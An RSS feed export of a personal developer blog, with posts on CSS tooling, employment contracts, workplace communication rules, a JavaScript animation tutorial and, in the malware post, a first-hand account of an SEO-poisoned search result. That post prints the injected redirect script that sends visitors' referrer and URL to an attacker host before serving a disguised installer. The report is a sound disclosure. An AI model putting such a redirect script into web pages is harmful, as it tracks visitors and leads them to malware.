<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-30596097</atom:id><lastBuildDate>Sun, 15 Jan 2012 23:36:05 +0000</lastBuildDate><category>javascript metaprogramming</category><category>webdev</category><category>IE6</category><category>Javascript</category><category>bugs</category><category>management</category><category>html</category><category>memoization</category><category>y-combinator</category><title>null is null or not an object</title><description /><link>http://nullisnull.blogspot.com/</link><managingEditor>noreply@blogger.com (Francisco Brito)</managingEditor><generator>Blogger</generator><openSearch:totalResults>74</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/nullisnull" /><feedburner:info uri="nullisnull" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><geo:lat>38.922478</geo:lat><geo:long>-77.256609</geo:long><feedburner:emailServiceId>nullisnull</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-7563862394494667424</guid><pubDate>Thu, 17 Nov 2011 04:35:00 +0000</pubDate><atom:updated>2011-11-18T10:56:33.803-08:00</atom:updated><title>Closure Stylesheets are good but not great.</title><description>&lt;a href="http://bit.ly/uoVOz6"&gt;Closure Stylesheets&lt;/a&gt; are a good effort from Google. Unfortunately, they released after Less, SCSS and SASS (&lt;a href="http://bit.ly/tkAFDC"&gt;see discusson on HN&lt;/a&gt;). In defense of that argument, I would say that the tool has been in use for a while, it was only the public release (and the process that it entails) what took longer than these other solutions.

&lt;p&gt;But that's not actually what I'm rabbling about today. I won't get into the details of what syntax or implementation is better either.

&lt;h2&gt;They miss the point&lt;/h2&gt;

&lt;p&gt;&lt;b&gt;Development tools are very helpful, but they also stint the ability to learn how to use a language more efficiently&lt;/b&gt;. Of course, what matters is to get things done, but in the long run it will make a big difference to those who put the work (or were inspired) to do it better.

&lt;p&gt;For example: using variables in CSS makes sense when you think about re-using colors here and there. Could this be better addressed by using a separate stylesheet that deals with colors (and non-layout modifying rulesets)?

&lt;p&gt;The point is that the inconsistency of content format makes a developer (or is it the other way around?) write a ton of rules to undo all the badly-inherited ones. The complexity of the current codebase makes it near impossible to even figure out what is reusable and how to use it —and frankly, most often things are not designed with reusability in mind: shocking, right?

&lt;p&gt;So the problem about reducing code size is not about how big your code is. As we move into the future, the target market will increasingly be represented by higher bandwidth consumers, since those are the ones with the money to spend. —I understand there is a long tail and it is irrelevant here. As devices download faster and richer media is served, your CSS, HTML and JS will be puny compared to the number of images and HD videos that you're serving. Ever-increasing compression, bandwidth and client-side storage and caching will increase this trend, no matter at what rate. Given enough time, code size will be irrelevant.

&lt;p&gt;What &lt;em&gt;does&lt;/em&gt; matter is how maintainable your code is. &lt;b&gt;Code size does become increasingly important&lt;/b&gt; but because there will be exponentially more time invested in fixing bugs and building new features as a direct result of the lines of code and people involved. 

&lt;p&gt;Another example: What about calculated dimensions? Isn't it a pain to keep track of what the paddings and width add up to?

&lt;h2&gt;You are missing the point&lt;/h2&gt;

&lt;p&gt;The future is bringing a diversity of devices: apps on phones, tablets, laptops, desktops and TVs. The more anyone is developing a pixel-perfect layout, the more it will look stupid on all other devices but yours. Adaptive layout requires thinking about how the content will flow and accommodate the available screen size and pixel density. Pixel-perfect layouts are perfect for making your work look like that spiffy mock, but it won't look so great on most devices by the end of next year, if not sooner.

&lt;p&gt;This jewel from 2006, &lt;a href=http://bit.ly/up358t&gt;Switchy McLayout on ALA&lt;/a&gt;, explained it well a long, long, long, internet time ago (seriously, look at an &lt;a href=http://bit.ly/uCVJFQ&gt;internet meme timeline&lt;/a&gt;. That was the same year as &lt;a href=http://chzb.gr&gt;ICHC&lt;/a&gt;!). But the point is not to talk about how great adaptive layout is.

&lt;h2&gt;The point&lt;/h2&gt;

&lt;p&gt;Tools that make you lazy are bad for you, but not as bad if you truly suck. Take the time to love and learn your trade or step aside.

&lt;h2&gt;Still here?&lt;/h2&gt;

&lt;p&gt;I'm glad. Let's build a better web. Check out these resources&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.useit.com/alertbox/3-screens-transmedia.html"&gt;Transmedia Design for the 3 Screens (Nielsen)&lt;/a&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/File:Usage_share_of_web_browsers_(Source_StatCounter).svg"&gt;Chrome/mobile share on the rise&lt;/a&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-7563862394494667424?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=A0PwaS-YKVI:aJ5qdkAEEJQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/A0PwaS-YKVI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/A0PwaS-YKVI/closure-stylesheets-are-good-but-not.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>2</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2011/11/closure-stylesheets-are-good-but-not.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8811206438973748269</guid><pubDate>Mon, 22 Aug 2011 20:41:00 +0000</pubDate><atom:updated>2011-08-22T13:41:07.792-07:00</atom:updated><title>Write your own work contract</title><description>&lt;p&gt;If your work is hot, you get to set the price.

&lt;h2&gt;Does this happen in practice?&lt;/h2&gt;

&lt;p&gt;To pull this off, the contract would have to consider the future employer's needs. For example, my contract could say that while I am employed for one company, I can't be also employed at another one; especially if it is a competitor but also if it results in a negative impact in my performance: working under expectations. &lt;b&gt;Make sure expectations are set beforehand. This applies to marriage as well&lt;/b&gt;

&lt;p&gt;I would choose the freedom to work on my own company, as I want to further my own career and life beyond what is reasonable to work for someone else. I do want to be doing something in 5 to 10 years and nobody is going to complain much if I leave a company then. It is then in my best interest to add that clause.

&lt;p&gt;However, if working on this separate enterprise is competing in resources or opportunity then it's out. This can be generalized as a simple antitrust clause: &lt;b&gt;Work on whatever, but don't screw us&lt;/b&gt;

&lt;h2&gt;In law, things always get muddy&lt;/h2&gt;

&lt;p&gt;For example, if I have company property (computer) and I do some other work on it, some contracts generically stipulate that all intellectual property coming from that device is property of the company. I would be pissed about this. What if I tweet a million-dollar idea? Should I use gmail from my own phone? That would be ridiculous.

&lt;p&gt;However, if I come up with something that negatively affects the market aspirations of the company, it is reasonable to assume that I am at fault. Again, if I can contribute to my employer with something I do on my own, it makes sense to share, especially if it's their equipment.

&lt;h2&gt;Contracts and the law in general have never been very deserving of my attention&lt;/h2&gt;

&lt;p&gt;I prefer using common sense and dealing only with people who have a healthy —or just similar— sense of trust. After all, the heart of the law is to protect from abuse, not to use it to abuse others. Unfortunately, the solution has been to write more law mostly to the benefit of those who invest their life trying to understand a little part of it.

&lt;p&gt;When we stop communicating as human citizens and let behavior be ruled by the shroud of selfish intent, artificial means to protect our society emerge. Stupid laws. Contracts that nobody can read. Enforcers who get high on the power trips and are neither protecting nor serving. That stuff has to stop.

&lt;h2&gt;The law is silly because we shouldn't need it &lt;/h2&gt;

&lt;p&gt;If you think I'm saying it shouldn't be followed, then the law was made for people like you who miss the point. 

&lt;p&gt;Harsh but necessary.

&lt;h3&gt;I would love to hear ideas for simple clauses&lt;/h3&gt;

&lt;p&gt;Something like:&lt;i&gt;Work on whatever, don't screw us&lt;/i&gt; and &lt;i&gt;Work whenever, just get things done in time&lt;/i&gt;. From this, it is important to make sure that expectations about output are clear from the beginning and that all deadlines and work load is agreed to as reasonable beforehand.

&lt;p&gt;I know it is not legally realistic, but I know that there are many startups that rely more on the trust of their employees than a perfectly drafted contract. &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-8811206438973748269?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=ErT02U-8lhk:DHix4ODd8Uc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/ErT02U-8lhk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/ErT02U-8lhk/write-your-own-work-contract.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2011/08/write-your-own-work-contract.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8397125643107803483</guid><pubDate>Fri, 29 Jul 2011 19:57:00 +0000</pubDate><atom:updated>2011-07-29T16:20:30.011-07:00</atom:updated><title>How to work with me</title><description>In March 2005, a photocopy was handed to me in preparation for work with one of the top wigs. It enumerated the rules necessary to avoid conflict and ensure efficient communication between me and someone who doesn't have time for bullshit.&lt;br /&gt;
&lt;br /&gt;
Recently, I discovered said photocopy hiding within one of my coding books and showed it to my peers. They loved it. They loved it so much, that they wanted to use it for their own minions.&lt;br /&gt;
&lt;br /&gt;
It is my ethical obligation to share with the world at large, provided the original author doesn't mind (unnamed for privacy) and provided you understand that this is half-jest and half-serious but definitely with a lot of respect and admiration for the author. After all, it takes balls to say what you think despite how weaklings might feel about it.&lt;br /&gt;
&lt;br /&gt;
Here goes:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;I prefer to work fast, minimize bullshit, get to the point.&lt;/li&gt;
&lt;li&gt;You will sometimes have bad news for me. I want it immediately. I can usually show you how to fix it. And I never blame the messenger.&lt;/li&gt;
&lt;li&gt;Bring pen and paper to every meeting with me. Pay attention to what I say; I'll try to speak with care. If I frequently must repeat instructions, or remind you of something I've already told you, you will not work with me again.&lt;/li&gt;
&lt;li&gt;If I've scheduled a weekly meeting with you, don't assume that this meeting is the only time to raise issues with me; Interrupt me for time critical issues.&lt;/li&gt;
&lt;li&gt;If you have a meeting with me at an assigned time, and I am in another meeting with my door closed, interrupt me. I stack meetings, and each meeting leads into the next.&lt;/li&gt;
&lt;li&gt;I like "micro-meetings". Get in quick, bring only the necessary parties to the table, make a decision, get out. Five minutes or less. Make these effective by knowing what decision needs to be made before you start, and presenting the decision criteria ahead of time to all participants.&lt;/li&gt;
&lt;li&gt;Stand during micro-meetings.&lt;/li&gt;
&lt;li&gt;I don't like email, particularly for discussing complex topics. If a decision needs to be made, do a micro-meeting. If a problem needs to be discussed, ask the person with the most depth to prepare something, an agenda, have a whiteboard, and work through it quickly.&lt;/li&gt;
&lt;li&gt;One exception to the above: I like "micro-updates": Quick emails confirming time critical commitments and mutual understanding. These are especially useful after we hold a meeting and I give you a set of directives: I always like to hear our agreed-upon commitments echoed back to me. I may not respond, but I will read it. Keep these emails short: Spare me the greetings, thank yous, regards.&lt;/li&gt;
&lt;li&gt;Be consistent in your communication. Use words consistently. Use email headers consistently. Strive to make your work immediately comprehensible.&lt;/li&gt;
&lt;li&gt;If you disagree with me, voice your differences. I welcome and invite dissent. If this makes you uncomfortable, feel free to prepare your thoughts after the meeting and then later return to make your case.&lt;/li&gt;
&lt;li&gt;Ego-driven debates annoy me. Check your ego at the door: I'm only interested in reaching the best, most elegant solution —I don't care if it's your idea or mine.&lt;/li&gt;
&lt;li&gt;Don't be afraid to ask questions if you're not clear. I have more patience for explaining and clarifying my position before you start than I do patience for fixing a wasteful, incorrect approach after the fact.&lt;/li&gt;
&lt;li&gt;Don't tell me something is in the process of being done without telling me when it will be done. I'm more interested in the time commitment than the fact that an effort exists.&lt;/li&gt;
&lt;li&gt;Always give me options, informed by an economic analysis where possible (if there are dollars involved, an analysis is mandatory), and then make your recommendation. Don't tell me there's a problem without offering a solution. Don't offer me multiple solutions without giving me your best and final recommendation.&lt;/li&gt;
&lt;li&gt;If you must prepare reports for me, review spreadsheets I've created. Copy the style and format.&lt;/li&gt;
&lt;li&gt;Don't send me long documents. I like precision and concision. Say it on one page (or less).&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Update&lt;/h3&gt;I've fixed a typo, which was pretty hilarious. "Don't &lt;i&gt;sent&lt;/i&gt;&amp;nbsp;me long documents. I like precision...". Thank you, &lt;a href="http://news.ycombinator.com/item?id=2823742"&gt;Hacker News&lt;/a&gt; for picking this up and for your comments.&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;If you'd like to read more, follow me &lt;a href="http://twitter.com/darkgoyle"&gt;@darkgoyle&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-8397125643107803483?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=bdWwXDxA2u0:Zi2mKDELbsk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/bdWwXDxA2u0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/bdWwXDxA2u0/how-to-work-with-me.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>30</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2011/07/how-to-work-with-me.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4549213482894091202</guid><pubDate>Sun, 08 May 2011 04:27:00 +0000</pubDate><atom:updated>2011-05-07T21:33:34.803-07:00</atom:updated><title>Malware — a report from the trenches.</title><description>&lt;style&gt;
img { display:block; margin:1em auto }
small { display:block; margin:1em auto; font:.6em Monaco,monotype; width:90% }
&lt;/style&gt;&lt;br /&gt;
Some people wonder if malware is a thing of the past. After all, if you know what a blog is, chances are you also know how to not get phished nor p0wned. You probably also think that because you are white-hat (not applicable to socially-retarded individuals), that the real threat is gone and a thing for kids hanging out on meme forums.&lt;br /&gt;
&lt;br /&gt;
Let me explain what just happened as I was surfing:&lt;br /&gt;
&lt;br /&gt;
I was image-surfing on Google, and I came across this image of what appears to be a visual test for an attractiveness study: &lt;img alt="Visual test for an attractiveness study showing what one of the screens must have looked like. There is certain irony that most likely, only those who use a non-image approach to web surfing actually know I wrote this. Also those who like to see what's behind the curtain, so to speak. I'd say under the skirt." border="0" height="219" src="http://2.bp.blogspot.com/-bB1q6M28QCs/TcYJE9PGgiI/AAAAAAAABkA/cSmVOshNkPI/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B8.04.44%2BPM.png" width="266" /&gt;&lt;br /&gt;
&lt;br /&gt;
Upon hovering to click, I didn't bother making sense of what Google had picked in its index:&lt;br /&gt;
&lt;img alt="Google's wacky indexing" border="0" height="320" src="http://2.bp.blogspot.com/-YeFr9VSmQQw/TcYKHCpRa0I/AAAAAAAABkI/Q_hakIQXFFQ/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B8.05.01%2BPM.png" width="293" /&gt;&lt;br /&gt;
&lt;br /&gt;
The image name makes sense (as opposed to these automatically-named uploads). The descriptive text and url, not so much. TL;DR&lt;br /&gt;
&lt;br /&gt;
So I clicked, which sent me to a Google image server interstitial with a url that only Chuck Norris could read:&lt;br /&gt;
&lt;small&gt;&lt;br /&gt;
http://www.google.com/imgres?imgurl=http://cache.gawkerassets.com/assets/images/7/2008/05/weirdscience.png&amp;amp;imgrefurl=http://sailmaldives.com/sailmaldives/symmetrical-face%26page%3D4&amp;amp;usg=__5pt7-fW8PxDtDBln4IZYdLhL2pE=&amp;amp;h=518&amp;amp;w=657&amp;amp;sz=126&amp;amp;hl=en&amp;amp;start=47&amp;amp;sig2=eQtFxiANJ285aURPa9c4xA&amp;amp;zoom=1&amp;amp;tbnid=BRnsBeaZ-ET2wM:&amp;amp;tbnh=140&amp;amp;tbnw=178&amp;amp;ei=UATGTeLqE4X2swOygY2aAQ&amp;amp;prev=/search%3Fq%3Dsymmetrical%2Bface%2Btest%26hl%3Den%26safe%3Doff%26sa%3DX%26biw%3D937%26bih%3D919%26tbm%3Disch0%2C1915&amp;amp;itbs=1&amp;amp;iact=hc&amp;amp;vpx=554&amp;amp;vpy=370&amp;amp;dur=3354&amp;amp;hovh=199&amp;amp;hovw=253&amp;amp;tx=95&amp;amp;ty=103&amp;amp;page=3&amp;amp;ndsp=25&amp;amp;ved=1t:429,r:23,s:47&amp;amp;biw=937&amp;amp;bih=919&lt;br /&gt;
&lt;/small&gt;&lt;br /&gt;
&lt;br /&gt;
(By the way, it's interesting to see what data Google seems to be acquiring. Perhaps in another post)&lt;br /&gt;
&lt;br /&gt;
The image was hosted on &lt;code&gt;cache.gawkerassets.com&lt;/code&gt; which could or not directly correlate it to the attack that Gawker media underwent (allegedly — conspiracy alert).&lt;br /&gt;
&lt;br /&gt;
Google then loads the page hosting the image in the background. This page, hosted on &lt;code&gt;sailmaldives.com&lt;/code&gt; has only script as the source:&lt;br /&gt;
&lt;br /&gt;
&lt;p class=prettyprint&gt;var url = "http://dczhxynm.ce.ms/in.cgi?2&amp;amp;seoref="+&lt;br /&gt;
  encodeURIComponent(document.referrer)+&lt;br /&gt;
  "¶meter=$keyword&amp;amp;se=$se&amp;amp;ur=1&amp;amp;HTTP_REFERER="+&lt;br /&gt;
  encodeURIComponent(document.URL)+&lt;br /&gt;
  "&amp;amp;default_keyword=default"; &lt;br /&gt;
&lt;br /&gt;
if (window!=top) {top.location.href = url;} &lt;br /&gt;
else document.location= url;&lt;br /&gt;
&lt;/p&gt;&lt;br /&gt;
So off you go to a domain that looks totally legit. But not for long. A 302 redirect directly to an IP address that has no DNS registry: &lt;code&gt;69.50.202.201&lt;/code&gt; and a proper tracking code made just for me: &lt;small&gt;GET /79821af005378d43c661c9f19b618d143804cc4c0bece84e HTTP/1.1&lt;/small&gt;. How kind. Now they know everything that Google wanted to know about me.&lt;br /&gt;
&lt;br /&gt;
What follows is a very well made interface:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-mPHTSu90LFw/TcYTr0AHbHI/AAAAAAAABkQ/u-RZLQMlAQA/s1600/Screen%2Bshot%2B2011-05-07%2Bat%2B8.05.34%2BPM.png" imageanchor="1"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-mPHTSu90LFw/TcYTr0AHbHI/AAAAAAAABkQ/u-RZLQMlAQA/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B8.05.34%2BPM.png" width="269" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
That's an image. You can click on it, you wuss.&lt;br /&gt;
&lt;br /&gt;
The real site automatically sends you a zip file. As you can see, it was automatically downloaded by chrome (I suppose there are setting somewhere to ask first or not. Whatever.). The archive contains an OSX installer, which... well, I'm not that stupid. You are welcome to reverse engineer it if you want. I'm curious.&lt;br /&gt;
&lt;br /&gt;
So I did what any responsible netizen would do: &lt;s&gt;post it on reddit&lt;/s&gt; &lt;s&gt;post it on twitter&lt;/s&gt; &lt;s&gt;post it on facebook&lt;/s&gt; report it to Google:&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="Type google malware on a search box, click first result. I'm sure you know how to do this." border="0" height="118" src="http://2.bp.blogspot.com/-x2xUIdfl3nQ/TcYVIWZ8vWI/AAAAAAAABkY/Sc-gdwGo7sY/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B8.04.01%2BPM.png" width="320" /&gt;&lt;br /&gt;
&lt;br /&gt;
The interesting thing here is, the site is broken on my current version of Chrome. What. The. Hell.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-oPWFD2ciwPE/TcYV0U40e6I/AAAAAAAABkg/s3Ye-ICqWMg/s1600/Screen%2Bshot%2B2011-05-07%2Bat%2B8.03.44%2BPM.png" imageanchor="1"&gt;&lt;img border="0" height="194" src="http://2.bp.blogspot.com/-oPWFD2ciwPE/TcYV0U40e6I/AAAAAAAABkg/s3Ye-ICqWMg/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B8.03.44%2BPM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Why??&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="Source code for an invisible container." border="0" height="97" src="http://3.bp.blogspot.com/-xIpkt6YULMk/TcYWQETuwqI/AAAAAAAABko/t7jL-6h2N2s/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B9.03.20%2BPM.png" width="320" /&gt;&lt;br /&gt;
&lt;br /&gt;
Whatever. Remove "position:relative", fill form, submit details.&lt;br /&gt;
&lt;br /&gt;
Google breaks.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-1JLOKhcHPjg/TcYWjyXfBJI/AAAAAAAABkw/kxbF_MUUdwE/s1600/Screen%2Bshot%2B2011-05-07%2Bat%2B8.03.18%2BPM.png" imageanchor="1"&gt;&lt;img border="0" height="118" src="http://3.bp.blogspot.com/-1JLOKhcHPjg/TcYWjyXfBJI/AAAAAAAABkw/kxbF_MUUdwE/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B8.03.18%2BPM.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
If you work for Google, email the malware list and get someone like that annoying Marc Merlin to use his &lt;em&gt;persistence&lt;/em&gt; to work and get this clowncar operation fixed. It's even made the news:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-RNOB2MFXPZk/TcYX53Pg5sI/AAAAAAAABk4/YHPClAFzEmo/s1600/Screen%2Bshot%2B2011-05-07%2Bat%2B9.10.05%2BPM.png" imageanchor="1" style=""&gt;&lt;img border="0" height="63" width="320" src="http://4.bp.blogspot.com/-RNOB2MFXPZk/TcYX53Pg5sI/AAAAAAAABk4/YHPClAFzEmo/s320/Screen%2Bshot%2B2011-05-07%2Bat%2B9.10.05%2BPM.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
How bad is this? Well, &lt;a href="http://bit.ly/ilq1Ii"&gt;Anonymous&lt;/a&gt; gained access to my email address and my Playstation Network password with their attack on April 17 or so. This week I received an email from my bank (it was from my bank indeed) asking me to fill a customer survey in response to a phone call I allegedly made. I hadn't. I also got an automated email from PayPal (also legitimate) informing me of a returned email to their service@paypal account. I hadn't.&lt;br /&gt;
&lt;br /&gt;
You can be very skeptical about anything you want, but I will pay attention to what happens next.&lt;br /&gt;
&lt;br /&gt;
My passwords have always been different, and that IP address belongs to an ISP in Arizona.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-4549213482894091202?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=IQnr4iWjedU:TYksB7Y1ChI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/IQnr4iWjedU" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/IQnr4iWjedU/malware-report-from-trenches.html</link><author>noreply@blogger.com (Francisco Brito)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-bB1q6M28QCs/TcYJE9PGgiI/AAAAAAAABkA/cSmVOshNkPI/s72-c/Screen%2Bshot%2B2011-05-07%2Bat%2B8.04.44%2BPM.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2011/05/malware-report-from-trenches.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-630381030766734527</guid><pubDate>Fri, 04 Feb 2011 23:49:00 +0000</pubDate><atom:updated>2011-02-04T17:59:37.785-08:00</atom:updated><title>Simple animation algorithm</title><description>&lt;p&gt;Let's start with a simple case, fading in an element turning up the opacity on it. It's a good idea to start with the interface (how we want the call to look, ideally). Remember simple is always best:&lt;/p&gt;&lt;pre class=prettyprint&gt;fadeIn(element);&lt;/pre&gt;&lt;br /&gt;
&lt;p&gt;Then the actual function definition:&lt;/p&gt;&lt;pre class=prettyprint&gt;function fadeIn(element){

      // how smooth the animation runs
  var increment = 50,
      // how long it takes
      duration = 500,
      // this is important: it normalizes the steps
      scale = duration/increment;

  // Define the steps ahead of time
  for (var i = scale; 0 &lt; i; i--) {

    // we use a function to retain the value of i
    setTimeout((function(i){

      // the function actually executed on timeout
      return function(){
        // Standard browsers
        element.style.opacity = i/scale;
        // Substandard browsers
        element.style.filter = 'alpha(opacity='+(scale*i)+')';
      };

    })(i), increment*i);

  }
}
&lt;/pre&gt;
&lt;p&gt;Above, the scale is 10. The loop will then distribute 10 calls evenly, starting with the last one (500ms) and ending with the first, 10ms in the future.&lt;/p&gt;&lt;p&gt;We then use the scale to transform into the opacity values to be used: 0, .1, .2... 1 for standard browsers and 0-100 for browsers that were developed with little concern for cooperation for the benefit of user experience and the programmers having to implement it.&lt;/p&gt;&lt;p&gt;But this wouldn't be fun without making it a little more reusable, so let's clean it up. A general pattern to apply to functions is to keep track of &lt;i&gt;what is modified&lt;/i&gt; —the element in this case— and &lt;i&gt;what can change&lt;/i&gt; —increment, duration and property being mutated.&lt;/p&gt;&lt;pre class=prettyprint&gt;function animate(fn, config){
  var increment = (config||{}).increment || 50,
      duration = (config||{}).duration || 500,
      scale = duration/increment;
  
  for (var i = scale; 0 &lt; i; i--) {
    setTimeout((function(i){
      return function(){ fn(i, scale); };
    })(i), increment*i);
  }
}
&lt;/pre&gt;
&lt;p&gt;Since there are at least two operations to be executed on every step (because of different browser handling), I opted for explicitly passing the "verb" or lambda or visitor function to the animate function. This is how it could be used:

&lt;pre class=prettyprint&gt;var element = document.getElementById('my_element');
animate(function(i, scale){
  element.style.opacity = i/scale;
  element.style.filter = 'alpha(opacity='+(scale*i)+')';
});
&lt;/pre&gt;A little trick I used above: since config may not be defined, I make sure there is always a default object or value to work with, so this:
&lt;pre class=prettyprint&gt;var increment = 50;
if (config &amp;&amp; config.increment) {
  increment = config.increment;
}
&lt;/pre&gt;...turns into this:
&lt;pre class=prettyprint&gt;var increment = (config || {}).increment || 50;&lt;/pre&gt;&lt;p&gt;There are a couple of ways to deal with config objects and defaults, and it depends on how many variables you are trying to set or override. It may make sense for larger configuration objects to extend a default object with the configuration values, for example.&lt;/p&gt;&lt;p&gt;Other modifications would involve using an "easing" function that determines how often the callback is fired and with what increment values. The one above is the linear, the simplest.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30596097-630381030766734527?l=nullisnull.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/nullisnull?a=4NCOJCUuAr8:40uxmSkPdZU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/nullisnull?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/nullisnull/~4/4NCOJCUuAr8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/nullisnull/~3/4NCOJCUuAr8/simple-animation-algorithm.html</link><author>noreply@blogger.com (Francisco Brito)</author><thr:total>0</thr:total><feedburner:origLink>http://nullisnull.blogspot.com/2011/02/simple-animation-algorithm.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6373680903714832707</guid><pubDate>Mon, 22 Nov 2010 06:25:00 +0000</pubDate><atom:updated>2010-11-21T22:25:57.323-08:00</atom:updated><title>SVN, Git.</title><description>Pull requests on Git are like &lt;i&gt;asking&lt;/i&gt; the build master (or QA, or your manager) to include your feature on the next release. That means, make sure there are no merges, make sure your code does not break any of the automated unit tests, and make sure that your code is properly tested.&lt;br /&gt;
&lt;br /&gt;
